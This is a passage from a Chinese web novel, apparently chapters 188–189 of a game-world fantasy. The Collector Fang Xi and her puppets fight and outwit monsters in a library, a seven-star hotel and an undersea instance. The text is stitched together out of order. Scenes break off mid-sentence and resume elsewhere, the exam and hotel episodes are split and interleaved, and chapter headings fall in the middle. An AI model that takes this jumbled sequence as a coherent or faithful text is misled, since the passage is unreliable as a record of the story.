屠夫哽了一下，继续尝试用哄骗小孩子的语气诱惑道：“你可以成为我的第三个得力干将。和同类待在一起，难道不比当人类的奴隶更快乐吗？” “不要。” 艾莉克萨脸上露出一丝不高兴。 啰嗦。 艾莉克萨翻了几页，感到非常无聊。 嗯？？？ 屠夫震惊地左看右看，努力从艾莉克萨身上捕捉一丝一毫的情感变化，却发现什么也没有。 什么情况？ 为什么这只小黑羊一点动容也没有？ 她的生命构造不是比其他集邮册上的傀儡更加精巧吗？难道她没有进化出情感吗？为什么不可怜一下自己的同类？ 屠夫大惊失色。 只要小黑羊询问一句些什么，或者给点什么别的反应。屠夫就可以顺势把傀儡集邮册当作筹码，这是它和艾莉克萨博弈的机会。 反正这对它来说，只是一堆粘着人类灵魂的废料。 “你也想把我放进集邮册吗？” 黑色颗粒在艾莉克萨手中缓缓汇集，凝结为一把极其压迫力的巨型镰刀，轻轻往地面一敲。 屠夫大惊失色，又虚情假意地说：“我可没这么说！哎呀，你不就是想看看书吗？我这不是给你找了本来看吗？怎么能误会我呢？” “……” 艾莉克萨脸上露出一丝犹豫，她微微低头看了一眼地面，发现脚下已经被镰刀敲出几道鲜明的裂缝。 明明她什么也没做。 她只好又一次收回镰刀。万一把这里破坏得太彻底，就不方便主人捡东西了。 于是，两名书籍形态的得力干将，和这名控制巨型图书馆地盘的屠夫，眼睁睁看着艾莉克萨打量了一圈四周环境，发现只有一张办公桌可以坐人，干脆地走上前。 魔法书和木头书嘀嘀咕咕道：“她这是在干什么？她想争夺屠夫大人的领域权限吗？办公桌只认可屠夫大人，这下肯定会杀死她吧……” 艾莉克萨无视四周愈发怪异的氛围，抬手轻轻拂过这张认主的办公桌，什么也没做，但桌子还是颤颤巍巍地收起了尖刺，乖巧无比。 屠夫傻傻地愣在原地，感觉事情的发展完全超出了它的预料。 不过麻痹左大脑的药剂又失效了，屠夫一边走进办公桌，决心赶走这只不知天高地厚的傀儡，一边从口袋取出一只新的麻醉针，正打算往自己头上扎去。 艾莉克萨冷不丁地问：“你在干什么？” 等等，她刚刚要干什么来着？ 方羲猛地站起来，这个大幅度动作吓了小黑猫和小玳瑁一大跳。至于晨乌猫猫早已习惯，还在舔盘子。 继续清点战利品！ 从图书馆捡到了上千本书，有一小部分是人类世界出版的实体书，剩下的就是异端的“书”。 方羲取出一些比较有特色的，【关押傀儡的集邮册x1、贴满人脸的集邮册x1、苹果的一百种吃法x1、人偶师进阶指南x1、四脚兽饲养手册x1……】 方羲又下意识坐回椅子上，打开四脚兽饲养手册，开始认真品读。 【作者：猫奴七百七十七号】 【第一章】 论哪个品种是最优秀的猫猫？私以为，唯有乌云盖雪才是世界上最优秀的猫猫，它们强壮、活泼、机灵，虽时常与本铲屎官打架，但一点点瑕疵，也不影响乌云盖雪的魅力。 ……（长篇大论地论证乌云盖雪为何是最优秀的猫猫、为什么其他品种的猫猫不及乌云盖雪、不喜欢乌云盖雪的人类简直是蠢货） ……（翻页，翻页。） 所谓的第一章已经占满了整本书的二分之一。 方羲的头顶缓缓冒出一个问号。 剩下的四分之一，全是该作者的猫猫照片，她一共养了二十七只奶牛猫猫。 这本书其实有点陈旧了，书页也有点发黄，最后的再四分之一，全是留言页。 不过基本被填满，只剩下寥寥几张是白的。 仔细分辨，字迹主要出自四个人。 770：“浪费了我四十五块金币！我还以为你难得认真写了个什么养猫心得，结果？？？” 799：“神经！水货！骗子！滚啊！” 700：“乐。777，你最近是不是被奶牛猫们吃穷了？只能出此下策？本大爷心地善良，就赏你一个金币好了。” 777：“谢谢谢谢，再来一百万个金币就更好了。” 方羲摸摸下巴，拿了只黑笔，开始在空白处写字。 “我觉得……” 777：“？” 770：“我去，你哪位？” 799：“（惊恐脸）” 700：“（大声尖叫）777，咋回事？你的书又掉进异端的巢穴里了？这人谁啊？” 1001：“我觉得橘猫才是世界上最优秀的猫猫！” 777：“我呸！你有认真看我的书吗？难道我的书还不足以让你认清事实吗？奶牛猫才是最好的！（尖叫）” 770：“777，你跑题了啊！” 799：“（思考）一千零一？咱们有这号人吗？” 700：“一千号比我死得还早——之后应该没有新胚胎了吧？你…你不会是异端混进来的盗版人类吧？（惊恐）” 第三十四届新晋赛从开始之初，直到现在已经有整整两年，排名新晋前三千的新玩家，已经形成了大体固定的局面——所以他们相互之间也大多都认识，即使不认识，凭借着两年以来的游戏经验，也能轻易辨认出新晋玩家与普通玩家之间的区别。 失乐园的玩家很多，像这样打扮的风格也不在少数——但这名玩家给人的感觉就是不一样！ 好像没见过啊？这是谁？怎么连游戏昵称也看不到？ 附近那几名新晋玩家忍不住一边暗中观察着方羲，一边悄悄用队伍频道聊天。 方羲也感受到来自四周越来越多的注视，内心瞬间深感不妙！ 怎么回事！ 是天不够蓝吗？是楼不够高吗？还是任务不够多？为什么这群新晋玩家非要往她这个方向看！ 一千零二也注意到这一点，缓缓张开嘴巴，想要开骂。 人偶师打了个响指。 “安静点。”她低声说，“速战速决，看完就走。” “……” 四周莫名其妙静了一秒。 就像是被什么可怕的存在威慑到一样。即使某人并不是在对他们说话。 所有在暗中观察方羲的人，在这一刻全部面露惊恐，甚至忍不住和队友相互拉进了一点距离。 这、这个玩家也太吓人了！ 第 188 章 第 188 章 “洗刷刷洗刷刷……” 追猫人蹲在花园的一座橘猫雕像旁边，亮出一把软毛刷，一边哼着歌一边开刷。 第一步是清理缝隙的灰尘和蜘蛛网，第二步再用棉布，滴上适量的清洁剂，擦拭表面大部分的灰尘…… “嗤，这雕像好丑。” “啊——！！！” 追猫人瞬间惨叫一声，连手里的棉布也丢得老远，惊恐地回过头，却看见一个穿着黑色斗篷的神秘玩家，在幽幽地看着她。 这、这哪来的玩家？文字详情介绍看上去相当高级。 但即使异端厨师长竭力精心装盘，也不能掩盖这是一盘不明黑色扭曲团块的事实。 猫猫勃然大怒！ 猫猫愤怒地伸出爪爪，直接掀翻这盘难吃的冻干！ “喵喵喵喵喵！” 一号侍应生疯狂擦汗，眼看着橘色生物愤怒得几乎要又一次变成巨型老虎，哪怕牙冠颤抖得掉落在地上，但它还是不得不竭力安抚猫猫。 “请请请请请给我们最后一次机会！！！我们招募了一名新的厨师长！这一次肯定能让您满意！” “喵？” 猫猫不耐烦地甩了甩尾巴，又喵喵叫催促了几声。 “马上、马上……” 半小时后。 由新任厨师长亲手制作，第五千零三十二道主菜姗姗来迟。 白盘上是一颗毫无加工的血淋淋心脏。 一号侍应生立刻骂道：“你们究竟了招募了什么垃圾过来？！这种老套的菜也敢端上来？！低级菜怎么能配让我们尊贵的猫猫客人享用？！” 但事实上，侍应生努力讨好了足足七天，也没能得到猫猫丝毫的欢心。 整只异端就差没跪在地上，卑微地乞求着这只橘色生物速速离开它们的地盘。 一号侍应生原本以为，猫猫又会像上一次那样掀盘子，它的内心绝望地发出哀嚎，打算让其他侍应生把这道菜赶紧撤下。 不料，猫猫尾巴忽然轻轻竖起，靠近血淋淋的心脏嗅了嗅，张开嘴巴，刷地一下吃掉整颗心脏。 尾巴开心地摇了摇，甚至心满意足地舔了舔自己的爪爪。 她都特地找了个偏僻角落偷偷洗雕像了！怎么还有人找得到她？不、不会又是哪个不认识的长官，想要逮住她，强拉她去特训吧？！ 不错，在踏樱离开之前，她特地尽可能地和所有密匙级别及以上的造梦家说过。一旦偶遇某个连每日基础训练也没有做，一心只想沉迷任何与猫猫相关事物的追猫人，那就请放肆把她丢进地狱难度的训练场…… 追猫人的内心有苦难言。 难道她在师父心里，就是这么一个懒惰的形象吗？ 不对！现在不该想这种事情的时候！ 追猫人弱弱地问：“这雕像真的很丑吗？” 普通数值： 攻击【20000】 生命【20000】 敏捷【20000】 防御【20000】 体力【300】 耐力【301】 特殊数值： 异端抗性【4500】 灵感【0】 腐蚀度【1】 方羲满意地点点头，觉得这一串整数看下来相当顺眼，便自动忽略了系统后一段奇怪的提示。 接下来是所谓的失乐园更新通知，这时候方羲才震惊地发现，原来游戏已经停机一个月了！她能登录成功，也是因为新晋排名刚好卡在第九十九名。 之前是第七十九名，因为方羲消失了接近两个月，排名也被挤掉了。 不过这不重要。 打开好友聊天框，方羲翻看了一下和踏樱的对话记录，发现最新的一条已经是上个月的事了！她居然已经一个月没发过消息！ 难道是因为自己太久没回消息了？方羲默默心虚一秒。 方羲点击对话框。神秘的黑羊少女轻轻一挥镰刀。 六个考场的异端细胞，在顷刻间全员死亡，惨死在一炳巨型镰刀之下。 木头书缓缓留下一颗豆粒般的汗水。 它沉默半响，书角一翘，擦干净自己的冷汗，干笑几声，扑腾小翅膀飞到艾莉克萨面前：“行吧，你通关了！今天的人类时间还没过半，肯定还有很多异端细胞想要投奔屠夫大人。看在你好像没什么脑子的份上，我就代替屠夫大人原谅你任性的行为！” “跟我来！你还要参加第二场智力水平考试，才能正式成为图书馆的一员。”木头书边说边飞，大声嚷嚷半天，总感觉背后好像没什么动静，疑惑地转头一看。 艾莉克萨缓慢地踏出了十步，而木头书已经飞出了两百步的距离。 木头书：“……” 它又郁闷地飞回来，盯着这只黑羊慢悠悠地走路，忍了又忍，终于带着她走到第二个考试场——一间阅览室。 黑羊少女一脸冷漠地坐下。 一张雪白色的试卷落在她的面前，还有一根黑笔、一块橡皮出现在桌子边上。 “开始答题吧。” “答题时间只有半小时，写完就把答卷给我哦。” 木头书绕着黑羊转了一圈，确认她除了有点好战、呆头呆脑之外，好像没什么大毛病。总得来说——应该是一个性格不错的新同事！ 艾莉克萨将目光缓缓落在‘试卷’上，却没有立刻作答，面部表情很淡。 木头书瞅了她一眼，书角茫然地挠挠头，一时分不清这只小黑羊究竟是在审题，还是在发呆。 十五分钟后，就在木头书等得几乎想要发疯尖叫的前一刻，艾莉克萨终于拿起笔，回答完试卷的四个问题。 木头书松了一口气，立刻拿着这张卷子，急匆匆飞向屠夫，并敷衍地丢下几句话：“考完了，行了行了，你自己一边玩去吧。” 端正坐在椅子上的艾莉克萨，纯黑色的长发忽然开始长长地生长，侵占世界树每一个角落。 少女庄重如石像的面庞，罕见地露出一抹浅笑。 “终于找到了” “主人所说的根系” “不过主人的位置在靠近” “那就再等一会” 另一边，屠夫期待地翻开艾莉克萨的答卷。 【问题一：一加一等于多少？】 答：1 “不错，具备天马行空的抽象思维。” 【问题二：破坏失乐园牢笼的有效方法？】 答：…… “看来她有很多了不起的想法，仅仅一张试卷写不完，只能用省略号代替。” 【问题三： 近期，任何一只异端都有可能不幸遇见‘收藏家’，请做好心理准备。不过，我是恶魔名下的中层外壳守卫，不需要担心这些蚂蚁会入侵到我的地盘。 但这是恶魔的命令，我们还是努力记住这些蚂蚁的样子。 先从简单的性别、声音、身材体态区分，进一步再细化为灵魂颜色、常用武器、还有鲜血的气味。 使用长枪和步枪的首席猎人A、说话语气有点欠打的首席猎人B、经常带着傀儡师死里逃生的古怪造梦家C、长得像个大灯泡的造梦家D…… 记住了吗？】【它拥有“复生”和“重启”的力量，是创造无数低危副本的万恶之源。】 【更重要的是，这些低危副本拥有一个尚未被人类察觉的隐藏属性。上万个低危副本中，似乎会有一个副本能够自动投影至现实世界，成为异端们短暂的逃生通道。】 【所以，这颗特殊的蒲公英，深受恶魔之主的庇护，甚至专门为蒲公英找来一副人鱼的皮，还有一群深海怪物。】 【尽管它并未孕育出一个能够投影现实世界的低危副本，但恶魔之主是一个耐心的异端。】 【它会一直等待。寂静地蛰伏。】 【反正这些低危副本，有时候也能带来一点乐子，不是吗？】 【忘了说，即使蒲公英的本体死亡，死上成千上万次，它也能复活。呵呵，你以为你是谁？即使你的灵感再高，能够窥见一角又如何？】 人鱼发出意味不明的冷笑，利爪拼命撕扯巨网。 但它挣扎半天，震惊地发现这张网简直纹丝不破！ 方羲也震惊了！ “原来你是一根草。”方羲无言以对，“那没办法了，我家猫猫又不爱吃素，本来想把你加工一下的。铛铛铛——恭喜你逃过被吃的命运！” 人鱼：“……”“只要你满足职位的工作年数。”侍应生微笑道，“就可以获得在七星级酒店安享晚年的机会。您和您背后的伙伴，似乎资质不错，我建议您选择【高级侍应生】。” 方羲稍加思索，果断地说：“不，我要当【厨师长】！我的同伴就当【厨师助理】吧！” “您以前有过相关工作经验吗？” “当然没有。” “呃……请问您最擅长的一道菜是什么？” “泡面算吗？” 看着这只人类一副理所当然的样子，等级排名第二的侍应生忽然有一种不详的预感。 侍应生皮肉不笑，竭力委婉地说：“非常抱歉，不如您从最简单的【清洁工】做起？实际上，清洁工的工作报酬也非常丰厚……” 雕刻刀骤然抵在侍应生的胸腔处，反射出雪亮的光芒。 方羲说：“你刚刚说什么？” 侍应生默默地从口袋取出两张称号卡，乖巧无比地递给方羲：“那么，接下来，我先带你们前往工作地点，简单熟悉一下。” 一众人型异端，目送两只人类和二号侍应生消失在视野中，瞬间破功，嘴巴发出非人的嘶鸣。 “这样有用吗” “按照规则来说，她们应该是要作为客人进入酒店” “被吞掉每一块金币” “被榨干每一丝血肉” “被剥夺每一个身份” “如果她们能选择【保安】就好了” “这样就能让她们来负责驱逐那个蛮不讲理的客人” “经过七个人类日的时间，我们七星级酒店马上就可以宣布破产” “二号侍应生态度为什么这么礼貌？那两个人类是谁” “等我我查查她们在食物排名榜排名第几” “查到了” “……” “（静默）” “（一片巨大的静默）” 三号侍应生打了个寒颤，目光畏惧地望向酒店城堡最顶层，被上弦月照亮得最明亮之处，那个被不明橘色生物入侵的最豪华的房间。 披着白布的长长餐桌，在最尽头摆着一张专门设计的高脚凳。 “喵喵喵喵喵！” 霸占着唯一一张椅子的晨乌猫猫，凶神恶煞地嗷呜嗷呜叫，爪子拍了拍餐桌，猫脸露出不耐。 服侍在小橘猫旁边的一号侍应生，满脸恐惧，身体克制不住发抖。 它声音颤抖、竭力安抚这只不明橘色生物：“请请请稍稍稍稍等等等等等等，马上为您上新菜！” 第五千零三十一道新菜终于被厨师长端上来。 猫猫低头一看。“在你们的那边，站着很多人，所以需要权衡很多利弊，需要考虑更多人的生死存活，所以我能够理解你的立场。” 秦淮月说：“你似乎不太信任黑天鹅？因为这个组织存在根深蒂固的陋习吗？” 方羲微微一笑，背过身，忽然向远处奔跑，离开四周安全的平面。 无聊地张开手臂，踩在一根极细极细的藤蔓之上，全身每一个细胞都在随风飘荡。 但藤蔓之下，是一片没有支撑的虚空。 秦淮月被方羲这种高危动作吓到，下意识起身。 但当她看见对方转过身，发丝轻轻掠过脸庞，眉眼带着似有似无的笑，一种极其诡异的状态，仿佛沉浸其中。 秦淮月很快反应过来，脚步顿在原地，收藏家不能用傀儡师的常规印象去评判。 她的战斗经验是全然的野路子，没有丝毫章法可言。 虽然远不及密匙玩家们常年的精英化训练和实战积累，但她的身体素质似乎比其他傀儡师优越许多——否则也不可能独自在高空中救下自己。 “是，但也不是。” 人偶师的目光仿佛穿过了猎人的身影，落到了更遥远的地方。 她的世界空无一人。 无时不刻站在钢丝绳索上，踩空一步便会满盘皆输。 秦淮月皱了皱眉，心底莫名其妙生出几分惊惧，再次大步上前靠近了一段距离。 轻飘飘的，像是没有根系的浮萍。 狂风卷起，似乎就能轻而易举吹走收藏家的灵魂。 人偶师踩着藤蔓向前轻轻踏了几步。 “我想要每天睁眼，就能看见穿过窗纱的阳光。” “我想要听见清晰正常的语言，使用富有规律美感的文字。” 人偶师再次转过身，神情冷漠，左眼在怪异地跳动，如同一颗心脏。 “我阅读过几本旧得发黄的圣经，某些群体似乎将异端称作神明，连一部分畏惧死亡的人类也会这么叫，大概这样能减少一点恐惧感吧。” 一阵巨大的荒缪感在秦淮月心底骤然涌出。 收藏家想说什么？ “我想杀死神明。” “我想缔造属于我的神明。” 猎人的呼吸骤然一窒。 “秦淮月，有密匙玩家想这么说吗？有密匙想这么做吗？”人偶师呢喃反问，“一定有吧，那么我就替你们说出来。” 谁让人偶师是那只重量最轻、颜色最黯淡、存在感最弱，但偏偏力量最特殊的那只蚂蚁呢？ “即使只有你一个人？” “即使只有我一个人。” 人偶师说：“如果你想要改变主意，随时可以告诉我。即使你的表情看上去，好像觉得我过于偏激而不保守，但我也不会改变我的做法。” 猎人站在原地，沉默了很久，忽然说：“实际上，在我们前往和你见面之前。我们这批二十名的密匙玩家，和管理者们开了一次会议。” “哦？” “每一个首席级别的密匙玩家，都是极其珍贵的战斗资源。一个首席玩家的战斗能力能够抵得过一百个真实玩家。” 秦淮月的目光忽然变得坚定，双眼倒映出蔚蓝的虚空、蔓延的藤蔓，与人偶师几近孤寂的身影：“部分性格谨慎的管理者仍然提议，为什么不换下一半的首席玩家，由普通的密匙玩家顶替上场？这样的话，哪怕出现死亡，其隐性损失也不会太大。” “但这项异议被楚队，包括被您选中的二十名玩家，共同驳回了。” 方羲沉思两秒，怎么听上去，这些临时队友们貌似不太相信自己，都一副慷慨赴死的样子。不能吧？ 秦淮月猜到方羲现在心里在想什么，轻笑一声：“收藏家，在前往会面地之前，楚队才忽然向我们公示，你和黑天鹅官方客服的对话内容。” “你说【不会带回任何一个死讯】。”秦淮月说，“但我们是无数次与死神擦肩而过的士兵，比常人更明白异端与人类之间的沟壑，很难轻易相信这一点。” 方羲好一会才接上秦淮月的脑电波：“你是改变主意了吗？” 手握净化度超越平均值的残肢材料。 只带着两名猎人，直接攻破一个大型高危副本，在最遥远可怖的环星前线建立锚点。 言语仿佛拥有无形怪诞的力量，随心所欲掀翻异端的规则。 甚至高危副本轻而易举缔造出超越常规的傀儡。 方羲手中凝现出上帝的雕刻刀，对着人鱼的脸庞比划了一下。 得剔除蒲公英身上的特殊力量。 比往常多一道工序，但没关系。 割掉最坚硬的种子头。雪白的绒毛球掉落在人偶师手心。 人鱼欲言又止。身经百战的秦淮月，并不会因为眼前这场极有可能发生的胜利，而像无知无觉的新兵那样，停下攻击的举动。 更何况……收藏家的伤口并未在这幻梦般的一瞬得到修复，依然留着血。然而本人却像是失去痛觉一样，挂着微笑，对自己身体和灵魂的痛苦毫无所觉。 水位线不断升高，收藏家口中的“鲜血”，彻底淹没了世界。 滚落着异端尸体的鲜血。 星月的肋骨，侍应生破碎的衣物，腐烂的肉块和蔬菜，酒店倒塌的建筑石块，汇聚成鲜血流动的微细胞。 这一切怪异可怖的画面，在秦淮月眼中，缓慢地显现。 细胞的尸体被她下意识呼吸入腹。 糟了。猎人专注战斗的思绪骤然断裂一瞬。 全是净化度为零的残肢，人类的身体根本无法承受吞食之后的惨烈后果。 “别担心。”人偶师正在专注寻找躲在三百三十三层之中的根系，分神看了一眼呼吸发生变化的猎人。 她顺手牵动了一根颜色最耀眼的金线。 泛着淡金色光芒的丝线，又一次铺天盖地地侵占世界。 如同缝补缺口的针线。 如同捕捉猎物的蛛网。 “这只是空气。” “虽然这些肋骨、碎片、肉块，肉眼看上去多么离奇，难以接受。” “但它们只是我们用以呼吸的空气。” ……也如同，上帝缔造新世界之时，无中生有的规则。 尸体碎片化作人类血液循环的养分。 阻碍武器挥动的水体，消失。 人偶师轻轻打了个响指。 “太暗了，既然上弦月的光芒散去，你们给我做个太阳。” 一轮粗制滥造的太阳缓缓从西方升起，颤颤巍巍地照亮大地。 人鱼抽抽涕涕。 人鱼开始嚎啕大哭！ “你的礼物我就收下了。”方羲不为所动，把这份力量塞进皮箱。 秦淮月眼神略有惊异，人鱼的外形开始脱落，彻底变回一根与人类身体相等的大型蒲公英。 方羲顺手把人鱼身上脱落的水晶石也塞进皮箱，这些石头可以回头送给喜欢亮晶晶的大白鸦。 “接下来……再见。” 方羲随手用雕刻刀割断蒲公英的枝干。 “这样就是……结束了吗？”秦淮月问。 “结束了。”方羲收回雕刻刀，“每一只根系的风格都不同，所以副本崩溃的样子也不一样，而且不是每一个根系都能建立锚点。但这家伙力量比较特殊，杀了它多少能有点收获。” “你听，现在四周安静得可怕，一点声音也没有。可真是……寂静的死亡啊。” 蒲公英的尸体安静地躺在巨网之内，它手无缚鸡之力，连异端最后的尖叫啼哭也不会。 一直以来，它只是在无知无觉地孕育新的细胞、新的副本。 方羲轻轻瞥了一眼，很快收回目光。人类可不能在任何异端身上投射过多的情感。 金虎变回猫猫，哒哒哒朝方羲跑过来，蹭蹭。 方羲抱起猫猫，让它自己趴在肩上，重新拎起皮箱，准备前往下一个副本地点。 秦淮月紧随其后，海水的流动掠过她的发丝，她已经学会了如何将深海之水和粘稠混沌的鲜血，视作空气。 随着两名人类的远去，这片深海的水平线，也在疯狂下降，彻底变成一滩沙漠，露出无数斑驳的异端尸体。 失去生命力的异端，被粗制滥造的太阳暴晒，化作黑烟消失。 当太阳落下最后一缕阳光，这片托举一切的沙漠，也缓缓归于虚无。 与此同时。 在驻扎着无数个人类精英前哨的浮空岛上。 他们同步接收到一个相同的通知，分别来自十三个性格迥异专属系统。 因为每一个专属系统的底层性格模型不同，有时候它们传达信息的方式、时间和内容也会有所不同。 但这次。通知的时间分毫不差，其内容也一字不差。 【检测到不明大型异端，其部分外壳已被彻底绞杀。】 答：看不出有什么区别。 “好吧，看来小黑羊需要一点时间适应。”屠夫大度地说。 【最后一个问题：你作为一名想要加入屠夫图书馆的新细胞，必须要彰显自己的价值，才能让伟大的屠夫大人多看你一眼。 【白乌鸦】：！！！错过了收藏家，失乐园还能出现第二个“收藏家”吗？ “我们完全做好了任何可能牺牲的准备。”秦淮月轻声道，“但是——你的一举一动，都在兑现这个天方夜谭的承诺，好像这对你来说，只是一件理所当然的事情。” 谨慎的、肩负着无数重任的猎人，主动向灵魂轻飘飘的人偶师主动伸出手。 “别再站在钢丝绳上了。”秦淮月说，“如果你的世界没有立足之地，如果你真的是能够引领一切的先行者……” “那么，请让我为你开路吧，请让我替你斩杀目光所至之处所有的异端。” “从今以后，我的武器只为你而挥动。” “即使这会背叛我长达二十五年的士兵生涯，让我彻头彻尾反抗长官的命令。” 仿佛在宣誓一个庄重的诺言。 人偶师脸上略显惊讶，其实她没想到猎人会突然之间改变主意。 她搭上猎人的手，借力从宛如钢丝的藤蔓轻轻跳跃至平面。 遥远之处的夏青禾，此时也恰好传来了回音。 人偶顺利找到了密匙玩家。这个答案几乎呼之欲出，他们的心脏在这一刻狂跳，但脸上依然竭力维持着平静。 “哦哦，原来如此！”夏青禾恍然大悟，脸上故意露出一丝神秘，坐到一边的椅子上，翘起二郎腿，哼笑道，“我明白了，你们肯定是想要采访大名鼎鼎的我。随便问吧！” 密匙玩家们：“……(゜ロ゜)” 这只傀儡的性格居然……这么独特？ 程蔓野问：“你的创造者是……收藏家吗？” 当她发问时，其他玩家的呼吸几近停止。 “是啊。”夏青禾说，“主人说你们不会认路，所以让我来给你们帮忙。” 宋白玉接着问：“那你的主人旁边，还有像我们这样的人类在吗？她的生命状态怎么样？” “有一个吧。”夏青禾说，“那人类比你们强壮太多了。” 果然如此…… 太好了。 她们还活着！ 夏青禾注意到，这些人类脸上齐齐露出莫名其妙的傻笑。 不懂，看上去好蠢。 夏青禾摇了摇头，嫌弃地想。 此时，程蔓野的思路终于接上夏青禾出现时，那一大串让人摸不着头脑的话。 “我……是你的跟班？” 暂时的使用者吗？ “那不然呢？”夏青禾哼哼两声，又耍酷似的撩了一下头发，“主人说你是我的第一个跟班，我可以随便使唤你！要知道我对跟班的要求可是很高的……不过，你看上去还算过得去。” 程蔓野大受震撼。 无它，在程蔓野至今为止的游戏生涯中，的确没遇见过这么一个特别的傀儡。 该怎么说呢？无拘无束？鬼马精灵的感觉。 其实小橘猫和春醒的性格特质也一样特别。 但前者动物形态，明确地割裂出人与动物的分界线。 后者则是一只人偶，身体带着无法忽视的球形关节，依然存有强烈的非人感。 而“夏青禾”，不论是外形、还是性格，都已经完全接近于人类本身了。 “可、可……我们在进入副本之前，你并没有跟在收藏家身边……”林镜子喃喃道，“这个副本等级太高了，而且大部分情况下，傀儡无法在中途强行加入副本。” 夏青禾说：“可我是在副本里诞生的，我现在是两小时零一分钟岁！说起来，你们离得太远了，害我足足花了一小时才找到你们！” 全场陷入诡异的死寂。 别说四名造梦家，连猎人姜渺和宋白玉，也陷入深深的自我怀疑，整个大脑都响着“我在哪我是谁这个世界怎么了”的立体环绕声。 两分钟后，程蔓野从震撼中回过神来，默默把列车司机的权限让给夏青禾。 “好耶！”夏青禾开心地说，“我可以开车了！等我先看看世界地图，先去哪一个地方好呢？” 叛逆少女哼着歌，从手提包取出一张【列车司机地图的复制品】，开始耐心地翻阅。 “也就是说。”宋白玉语气恍惚，总结道，“因为暂时找不到原有的替行者，收藏家直接在高危副本内部，当场进行新傀儡的制作——哪有傀儡师能做到这种地步？” 江簌跟着补充道：“并且只花费了短短七天时间。根据她自己说的诞生时间，收藏家甚至没有对傀儡进行放置观察。我记得其他傀儡师，他们会花费很长一段时间，确认傀儡会百分百服从主人，才会正式使用。” “程队，你之前是不是说过，你和收藏家做了一个约定？她会给你定制一个傀儡？” 程蔓野摇了摇，又忍不住看了几眼夏青禾，她全身上下没有丝毫异端的痕迹……简直就像是一个全新的生命。 “可能只是暂时的【使用】。”程蔓野说，“很显然，她和小橘猫，还有春醒是同一个等级，她身上肯定浇灌了收藏家的灵魂。” 方羲想了想说：“【恶魔】不单单是一只庞大的异端，它拥有成熟的思维和喜好，把这里当作一个巨大的游乐场，还会特地挑选一个时间段，高频率无差别地袭击玩家。哦，这些不是我的亲身经验，只是从机密资料上看到的。” 秦淮月是一个适应力极强的猎人，虽然和收藏家只接触了很多一段时间，但多少也习惯了对方过于跳脱的思维。 她微微点头，接话道：“的确如此。三十年前有一场新晋玩家的真实试炼，曾经也被恶魔袭击过。” 也是因为【恶魔】打破了先例，主动破坏人类们换代交替的秩序。这让其他被关押在失乐园的大型异端意识到，原来还有这种玩法！ 然后它们开始主动袭击每一届的真实试炼，故意添一把火，大口大口吞下烧焦的食物。 【踏樱】：？？？程蔓野继续说：“夏青禾只有待在收藏家身边，才能发挥出最大的实力。所以，我不认为我有资格担当使用者的身份。” 密匙玩家的对话没有刻意避着夏青禾，她听到程蔓野的话，瞬间转头，一脸认真：“说什么呢！你是我的跟班，我作为老大，肯定会好好保护你的！” “不过……”夏青禾转念一想，语气深沉地说，“我平时很忙的，可不能天天陪在你身边。所以会有其他【我】来陪你。” 第二个夏青禾忽然出现，顺手打开车门，大声嚷嚷道：“好了，现在让我来参观一下夏青禾号列车！” 驻守在其他车厢的猎人，闻言，下意识举起武器。 “禁止攻击！”宋白玉反应迅速，高声喊道，“这是收藏家的傀儡！” 他深深地记得，上一次艾莉克萨独自跑来浮空岛核心区，因为她诡异的身体特性，被众人误以为是入侵的异端……哪怕只是稍稍回忆那番集体攻击替行者的场景，也让宋白玉深感绝望。 这次绝对不能再出错！ 猎人们微微一愣，硬生生克制住攻击的动作。 “真的假的？！” “她们真的还活着吗？” “……太好了。” “这是收藏家的替行者吗？好像没见过？” 【踏樱】：白鸦鸦你上线了？你去哪了？你的伤好了吗？没事吧？要不要再找个造梦家帮你看看病？ 方羲摸摸下巴，果然又是这种熟悉的话唠感觉。 【白乌鸦】：什么伤？我最近发了个烧，所以没什么心情登录游戏。 方羲的回复，成功让对面的踏樱哽了一下。 【踏樱】：你都消失一个月了……算了，没事就好。 【踏樱】：不过，我这边怎么看不到你的在线状态？你是真人吗？（怀疑的眼神） 【白乌鸦】：哦，我让系统给我调到隐身状态。“欢迎来到【恶魔之主亲自认可的七星级酒店】！” “价格高达七位数金币的豪华房间！” “随叫随到满足你任何要求的万能侍应生！” “三十六度无死角观看人类惨叫的实时投影！” “在我们七星级酒店，一切应有尽有，只有你想象不到，没有我们做不到！” 巨大的上弦月低低挂在花园城堡背后，散发着明亮的光辉，映照出整个世界的光景。 人类脚下是月亮坑坑洼洼的沟壑，前面站在两排身着优雅西装的侍应生，嘴里反复念诵着充满蛊惑的宣传语。 每一个侍应生的长相都完全不同，嘴角微笑的弧度也不一样。 方羲微微抬眼，看见城堡的大门死死关闭着，一副并不欢迎外人的样子。 人偶师露出一个友善的微笑，礼貌地问：“请问，我该如何得到七星级酒店的入场券呢？” 站在第一排的侍应生闻言，立刻出列，双手抬起，轻轻拍了一个掌。 掌声落下。 一张张质感滑溜溜的【职位招聘单】，接连落在方羲手上。 【白乌鸦】：对了，不知道是哪个家伙盗了我的星网账号，我一分钱也没有了，连过期营养液也买不起，只能上线来提现一些金币（大哭） 春醒幽幽地看了一无所觉的方羲，但也没说什么，她已经习惯了某人总是记忆错乱。 方羲趁着踏樱回应的间隙，愤怒地提现了十万金币到自己的星网账号上。 【踏樱】：（震惊脸） 【踏樱】：没有找到小偷吗？这个人的盗窃技术这么高明？不过——你可以找黑天鹅报销损失，他们没有理由不同意！ 这样吗？ 方羲想了想，给踏樱表示她先去处理堆积的消息，回头再见。 【踏樱】：那你去忙吧！ 【踏樱】：忘记说了，我很开心…你能够回来。 【踏樱】：队长，请你以后务必要注意安全，奇迹也是经不起折腾的。 万一踏樱又骂她怎么办？ 方羲卑微地想起踏樱那最后一条留言，深深地怀疑，是不是她太久没上线，导致这条友谊的小船已经走到了尽头。 可怜的追猫人，目光呆滞地看着方羲离开，目光呆滞地看着首席玩家言丹青站在自己面前，嘴巴一张一合，好像在提醒些什么…… 但她什么都听不进去。 她居然真的把收藏家当做一个后辈，用那种说教的口气和她说话，居然还说什么“你觉得你很潜力”…… 而且她还有胆当着收藏家的面，说自己做的失败雕像是猫猫…… 哈哈，夭寿啦！ 这还不如让她坐牢啊！ 第 189 章 第 189 章 自从方羲消失之后，异端的日子一度过得相当舒坦。 比如，乘务员不用再还钱了。 又比如，无数大异端重回往日荣光，不用再像以前那样躲躲藏藏。 总之，对它们来说，一切都很完美。 但这种好日子只持续了很短的一段时间。 当方羲那些忠诚的人偶、或者说傀儡，忽然意识到自己的主人似乎永远消失在这个世界上的时候——异端逍遥快活的时光再次结束了。 恐惧卷土重来。 